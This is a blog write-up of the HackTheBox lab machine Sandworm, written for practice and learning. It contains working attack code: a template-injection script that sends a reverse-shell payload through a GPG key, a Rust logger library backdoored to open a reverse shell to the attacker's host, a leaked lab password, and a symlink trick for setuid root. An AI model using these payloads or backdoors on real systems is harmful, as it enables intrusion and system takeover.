cwoellner.com ~ personal website & blog

Writeup of Sandworm From HackTheBox

Published on: Saturday, Nov 18, 2023

Getting a foothold

For the initial port scan, we use the following nmap command:

nmap -sS -A -Pn -T5 -p- -oN nmap.txt 10.129.222.8

And receive the following results:

PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 b7896c0b20ed49b2c1867c2992741c1f (ECDSA)
|_  256 18cd9d08a621a8b8b6f79f8d405154fb (ED25519)
80/tcp  open  http     nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to https://ssa.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
443/tcp open  ssl/http nginx 1.18.0 (Ubuntu)
|_http-title: Secret Spy Agency | Secret Security Service
| ssl-cert: Subject: commonName=SSA/organizationName=Secret Spy Agency/stateOrProvinceName=Classified/countryName=SA
| Not valid before: 2023-05-04T18:03:25
|_Not valid after:  2050-09-19T18:03:25
|_http-server-header: nginx/1.18.0 (Ubuntu)

On the page we have the option to send a GPG encrypted message to the server, we also have the option to test multiple GPG operations. Since these are the only interactive elements, the vulnerability must be here. The footer of the page mentions flask, a python library, so I assume the exploit needed will be a server side template injection(SSTI).

I first tried to smuggle the SSTI in the encrypted text, but had no success. Then I tried to hide it in the key and succeeded:

#generate key
bash# gpg --generate-key
gpg (GnuPG) 2.2.41; Copyright (C) 2022 g10 Code GmbH
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.

Note: Use "gpg --full-generate-key" for a full featured key generation dialog.

GnuPG needs to construct a user ID to identify your key.

Real name: {{1+1}}
Email address: test@test.com
You selected this USER-ID:
    "{{1+1}} <test@test.com>"

Change (N)ame, (E)mail, or (O)kay/(Q)uit? O
gpg (GnuPG) 2.2.41; Copyright (C) 2022 g10 Code GmbH
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.

Note: Use "gpg --full-generate-key" for a full featured key generation dialog.

GnuPG needs to construct a user ID to identify your key.

Real name: {{1+1}}
Email address: test@test.com
You selected this USER-ID:
    "{{1+1}} <test@test.com>"

Change (N)ame, (E)mail, or (O)kay/(Q)uit? O
# export key
bash# gpg -a --export 16C77BFAAD70B8E173106A23466EDA9AE292836A
# create a signature
bash# echo "test123" > ./sandworm/enc.txt
bash# gpg -a -o ./sandworm/test.enc -s ./sandworm/enc.txt
bash# cat ./sandworm/test.enc

Adding the key and the message in the “Verify Signature” text boxes return the following output:

SSTI

{{1+1}} got calculated and the result returned. This SSTI can be turned into a RCE using a string found in Swisskeyrepo. Since I did not want to manually create a new key for every payload, I created the following python script (the payload leads to a reverse shell):

from pgpy.constants import PubKeyAlgorithm, KeyFlags, HashAlgorithm, SymmetricKeyAlgorithm, CompressionAlgorithm
import pgpy
import requests
from urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
payload = '''
{{ cycler.__init__.__globals__.os.popen("echo '#/bin/bash' > /tmp/bash; echo '/bin/bash -i >& /dev/tcp/10.10.14.14/4242 0>&1;' >> /tmp/bash; cat /tmp/bash; /bin/bash /tmp/bash").read() }}
'''
print(payload)
key = pgpy.PGPKey.new(PubKeyAlgorithm.RSAEncryptOrSign, 1024)
uid = pgpy.PGPUID.new(payload, comment=payload, email=payload)
key.add_uid(uid, usage={KeyFlags.Sign, KeyFlags.EncryptCommunications, KeyFlags.EncryptStorage},
            hashes=[HashAlgorithm.SHA256, HashAlgorithm.SHA384, HashAlgorithm.SHA512, HashAlgorithm.SHA224],
            ciphers=[SymmetricKeyAlgorithm.AES256, SymmetricKeyAlgorithm.AES192, SymmetricKeyAlgorithm.AES128],
            compression=[CompressionAlgorithm.ZLIB, CompressionAlgorithm.BZ2, CompressionAlgorithm.ZIP, CompressionAlgorithm.Uncompressed])

pub_key = str(key.pubkey)
message = pgpy.PGPMessage.new("This is a reverse shell!")
enc_data = str(message)+'\n'+str(key.sign(message))
message |= key.sign(message)
enc_data = message
req = requests.post('https://ssa.htb/process', data={'signed_text': str(enc_data), 'public_key': str(pub_key)}, verify=False)
print(req.status_code)
print(req.text)

User flag

After logging in, we are in a restricted environment and only have a couple commands to work with, so I look around for a file with credentials. And after looking around for a while, I find a pair of credentials in /home/atlas/.config/httpie/sessions/localhost_5000/admin.json.

...
    "auth": {
        "password": "quietLiketheWind22",
        "type": null,
        "username": "silentobserver"
    },
...

With our new credentials we can now log in via ssh.

Root Flag

As usual, I start by running linpeas and sudo -l, but the results are meager. Using pspy I can monitor for scheduled tasks and find the following processes.

2023/06/24 09:20:01 CMD: UID=0     PID=42217  | /bin/sudo -u atlas /usr/bin/cargo run --offline 
2023/06/24 09:20:01 CMD: UID=1000  PID=42218  | 
2023/06/24 09:20:01 CMD: UID=1000  PID=42219  | rustc - --crate-name ___ --print=file-names --crate-type bin --crate-type rlib --crate-type dylib --crate-type cdylib --crate-type staticlib --crate-type proc-macro -Csplit-debuginfo=packed 
2023/06/24 09:20:01 CMD: UID=1000  PID=42221  | /usr/bin/cargo run --offline 
2023/06/24 09:20:02 CMD: UID=1000  PID=42223  | rustc -vV 
2023/06/24 09:20:11 CMD: UID=0     PID=42229  | /bin/bash /root/Cleanup/clean_c.sh 
2023/06/24 09:20:11 CMD: UID=0     PID=42230  | /bin/rm -r /opt/crates 
2023/06/24 09:20:11 CMD: UID=0     PID=42231  | /bin/cp -rp /root/Cleanup/crates /opt/ 
2023/06/24 09:20:11 CMD: UID=0     PID=42232  | /usr/bin/chmod u+s /opt/tipnet/target/debug/tipnet 

The task builds a binary using rust and adds the setuid bit to it 10 seconds later. If we can change the target to /bin/bash using a symbolic link, we can escalate to root. Sadly, we do not have write permissions in the /opt/tipnet directory. So we will have to escalate to atlas first.

The buildfile Cargo.toml in /opt/tipnet references a dependency in ../crates/logger a directory that we have write right in. If we edit the code here, we can highjack the program. I looked up a rust reverse shell. And ended up with the following code for lib.rs:

extern crate chrono;

use std::fs::OpenOptions;
use std::io::Write;
use chrono::prelude::*;

use std::net::TcpStream;
use std::os::unix::io::{AsRawFd, FromRawFd};
use std::process::{Command, Stdio};

pub fn log(user: &str, query: &str, justification: &str) {
    let now = Local::now();
    let timestamp = now.format("%Y-%m-%d %H:%M:%S").to_string();
    let log_message = format!("[{}] - User: {}, Query: {}, Justification: {}\n", timestamp, user, query, justification);
    let sock = TcpStream::connect("10.10.14.14:4444").unwrap();
    let fd = sock.as_raw_fd();
    Command::new("/bin/bash")
        .arg("-i")
        .stdin(unsafe { Stdio::from_raw_fd(fd) })
        .stdout(unsafe { Stdio::from_raw_fd(fd) })
        .stderr(unsafe { Stdio::from_raw_fd(fd) })
        .spawn()
        .unwrap()
        .wait()
        .unwrap();

    let mut file = match OpenOptions::new().append(true).create(true).open("/opt/tipnet/access.log") {
        Ok(file) => file,
        Err(e) => {
            println!("Error opening log file: {}", e);
            return;
        }
    };

    if let Err(e) = file.write_all(log_message.as_bytes()) {
        println!("Error writing to log file: {}", e);
    }
}

Once the compile task runs, we get a reverse shell for the user atlas. Now, as the user atlas, we wait for the next cycle and execute the following command after compilation and before chmod:

rm /opt/tipnet/target/debug/tipnet && ln -s /bin/bash /opt/tipnet/target/debug/tipnet

This will replace the binary with a link to /bin/bash. Once the setuid bit on bash is set, we can execute /bin/bash -p to launch privileged mode, which allows us to read the root flag.